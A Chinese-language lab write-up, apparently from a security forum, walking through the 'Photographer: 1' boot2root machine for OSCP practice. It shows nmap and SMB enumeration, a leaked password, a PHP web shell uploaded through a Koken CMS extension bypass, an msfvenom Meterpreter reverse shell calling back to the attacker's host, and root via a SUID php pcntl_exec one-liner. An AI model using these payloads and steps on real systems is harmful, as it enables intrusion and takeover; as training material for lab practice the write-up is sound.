下载地址:Photographer: 1
发现有介绍
This machine was developed to prepare for OSCP. It is boot2root, tested on VirtualBox (but works on VMWare) and has two flags: user.txt and proof.txt.
说明我们的目标就是去找flag:user.txt proof.txt
ok!!知道了目标!
我使用的是VMware15,其它工具类似
文件-》打开-》选择我们下载好的文件-》打开
自定义路径和名字
然后等待导入即可,如报错,点重试即可
设置模式与攻击机一致
攻击机:net模式
准备就绪
如果没有找到IP
进入拯救模式
修改
ro 为 rw sigine init=/bin/bash
然后按ctrl
+x
进入命令行模式
执行以下命令
1. dhclient ens33 更新IP地址(ens33根据你自己IP a 看到的来跟换)
2.reboot 重启,然后应该就可以找到IP
攻击机:kaili2020
目标机:Photographer
root@For-Fun:~# netdiscover
扫描到了IP:192.168.83.146
root@For-Fun:~# nmap -A 192.168.83.146
开启了以下端口25,80,110,139,445,8000
PORT STATE SERVICE VERSION
25/tcp open tcpwrapped
|_smtp-commands: Couldn't establish connection on port 25
80/tcp open tcpwrapped
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Photographer by v1n1v131r4
110/tcp open tcpwrapped
139/tcp open tcpwrapped
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8000/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Koken 0.22.24
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: daisa ahomi
|_http-trane-info: Problem with XML parsing of /evox/about
可以利用的好像有:
分别尝试利用一下
先看看网页端口:80,8000
再看服务端口:445
80:一般是网站默认端口
尝试访问一下
http://192.168.83.146/
确实是一个网站
看样子貌似是个静态页面
使用document命令来看看
document.lastModified
好的,静态,那就找别的什么信息了
下一个端口吧
访问
http://192.168.83.146:8000/
通过CMS识别插件Wappalyzer
,识别出cms
其实我们通过页脚,和之前nmap的到的信息也可以知道此cms为:Koken 0.22.24
那么我们去搜索看看该cms有什漏洞吧
搜索发现:
发现就是该版本存在漏洞Koken CMS 0.22.24 - Arbitrary File Upload (Authenticated)
看看怎么说
The Koken CMS upload restrictions are based on a list of allowed file extensions (withelist), which facilitates bypass through the handling of the HTTP request via Burp.
Steps to exploit:
1. Create a malicious PHP file with this content:
<?php system($_GET['cmd']);?>
2. Save as "image.php.jpg"
3. Authenticated, go to Koken CMS Dashboard, upload your file on "Import Content" button (Library panel) and send the HTTP request to Burp.
4. On Burp, rename your file to "image.php"
总的来说就是上传cmdshell,然后绕过检测机制,即可
那么我们就要寻找上传点,前台一般没有,找后台
使用目录扫描工具进行目录扫描
发现扫描到了,进行访问
http://192.168.83.146:8000/admin/
结果发现
需要
不知到啊,那么先放着,看看有没有啥别的信息
445端口是smb服务,那么我们尝试去访问一下
在文件系统打开
smb://192.168.83.146/
发现访问成,那么我们浏览看看
发现print$无法匿名连接
sambashare可以匿名访问
发现两个文件:mailsent.txt,wordpress.bkq.zip
打开看看
貌似是一个邮件
由agi@photographer.com
发送给daisa@photographer.com
的,内容为
Hi Daisa!
Your site is ready now.
Don't forget your secret, my babygirl ;)
然后没别的信息了,然后看意思另一个文件好像是制作的网站
秘密? my babygirl??
难道是密码?去尝试一下
http://192.168.83.146:8000/admin/
邮箱可能是:daisa@photographer.com
(因为是daisa的站)
然后密码的话:my babygirl
或者babygirl
试试
邮箱:daisa@photographer.com
密码:my babygirl
好像说密码错误
那么
邮箱:daisa@photographer.com
密码:babygirl
登陆成功了!!!(碰运气,害)
这说明信息收集的重要性,哈哈哈哈~
根据我们之前查询到的exp,我们通过上传一句话木马,绕过检测机制从而getshell
新建文件,写入
<?php system($_REQUEST['cmd']);?> (这里可以直接反弹shell,但这个也可以,多试试嘛)
然后保存问1.php文件
然后重命名为1.php.jpg
准备完成,开启burp等待上传
点击上传后成功抓取到数据包
然后修改上传文件后缀
![后缀]
修改为:1.php
修改完成后放包
但是我们不知道上传到哪了,上面的exp有提示,让我们去下载看看,即可知道地址
尝试下载
得到地址,修改一下,然后访问
发现我们上传的还是图片,没有得到修改
然后返回查看抓包数据,发现还有一处名字没改,害,重新来过吧!!!
将该文件删除
上传抓包
进行修改,删除.jpg后缀
修改完成后放包
然后尝试下载,得到地址,修改后访问
http://192.168.83.146:8000/storage/originals/e0/7d/1.php
貌似成功了!!!
既然插入成功,那么我们尝试执行一下,就看看当前用户吧
http://192.168.83.146:8000/storage/originals/e0/7d/1.php?cmd=whoami
www-data
这是一个默认用户
那么接下来搜索我们的flag
使用find命令来查找文件
http://192.168.83.146:8000/storage/originals/e0/7d/1.php?cmd=find / -name user.txt
地址
/home/daisa/user.txt
读取文件看看里面内容,使用cat命令
http://192.168.83.146:8000/storage/originals/e0/7d/1.php?cmd=cat /home/daisa/user.txt
读取成功
d41d8cd98f00b204e9800998ecf8427e
ok,第一个flag获得成功
接着使用find查找第二个flag文件
http://192.168.83.146:8000/storage/originals/e0/7d/1.php?cmd=find / -name proof.txt
结果发现没有找到该文件,那么可能是因为我们当前权限低,从而无法在有特殊权限的文件夹中查找
那么我们就需要提权了
害,又开始提权了
那么我们就先去看看具有特殊权限的文件吧
http://192.168.83.146:8000/storage/originals/e0/7d/1.php?cmd=find / -perm -u=s -type f 2>/dev/null
有点乱整理一下
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/sbin/pppd
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/php7.2
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/chfn
/bin/ntfs-3g
/bin/ping
/bin/fusermount
/bin/mount
/bin/ping6
/bin/umount
/bin/su
发现
/usr/bin/php7.2
貌似可以使用php命令来提权
进行尝试
php -r "pcntl_exec('/bin/bash',['-p']);"
执行
http://192.168.83.146:8000/storage/originals/e0/7d/1.php?cmd=php -r "pcntl_exec('/bin/bash',['-p']);"
好像没什么反应
whomi看看
http://192.168.83.146:8000/storage/originals/e0/7d/1.php?cmd=whoami
没成功……
这样操作不方便,刺个反弹shell看看吧
我们先开启监听,然后制作反弹shell
开启msf
msfconsole
使用监听模块
msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
设置php payload
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
查看配置
msf5 exploit(multi/handler) > options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
设置接受目标与端口
msf5 exploit(multi/handler) > set lhost 192.168.83.140
lhost => 192.168.83.140
msf5 exploit(multi/handler) > set lport 8888
lport => 8888
开启监听
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.83.140:8888
msfvenom制作反弹shell
root@For-Fun:~# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.83.140 lport=8888 -o shell.php
制作完成,直接上传即可,同之前步骤
上传完点击下载(或者直接访问也行),即可监听成功
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.83.140:8888
[*] Sending stage (38288 bytes) to 192.168.83.146
[*] Meterpreter session 1 opened (192.168.83.140:8888 -> 192.168.83.146:37478) at 2020-08-19 16:16:11 +0800
meterpreter >
那么接着之前步骤,看看怎么回事
meterpreter > shell
Process 3504 created.
Channel 0 created.
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@photographer:/var/www/html/koken/storage/originals/ff/a3$
我们直接执行之前的php提权命令看看
命令为:
php -r "pcntl_exec('/bin/bash',['-p']);"
我们尝试执行看看
额…….这就…..奇妙
接着查看一下当前用户权限
bash-4.3# whoami
whoami
root
显示root用户
ok
bash-4.3# find / -name proof.txt
找到了
/root/proof.txt
那么我们去看看
bash-4.3# cat /root/proof.txt
成功获取第二个flag
d41d8cd98f00b204e9800998ecf8427e
user.txt: d41d8cd98f00b204e9800998ecf8427e
proof.txt: d41d8cd98f00b204e9800998ecf8427e
发现是一样的,哈哈~
完结撒花
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-聂风 | 60.00 | 0 | 2020-09-09 11:11:10 | 同学加油 |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
nicky
发表于 2020-9-9
大佬
评论列表
加载数据中...
owwxx
发表于 2020-9-10
大佬
评论列表
加载数据中...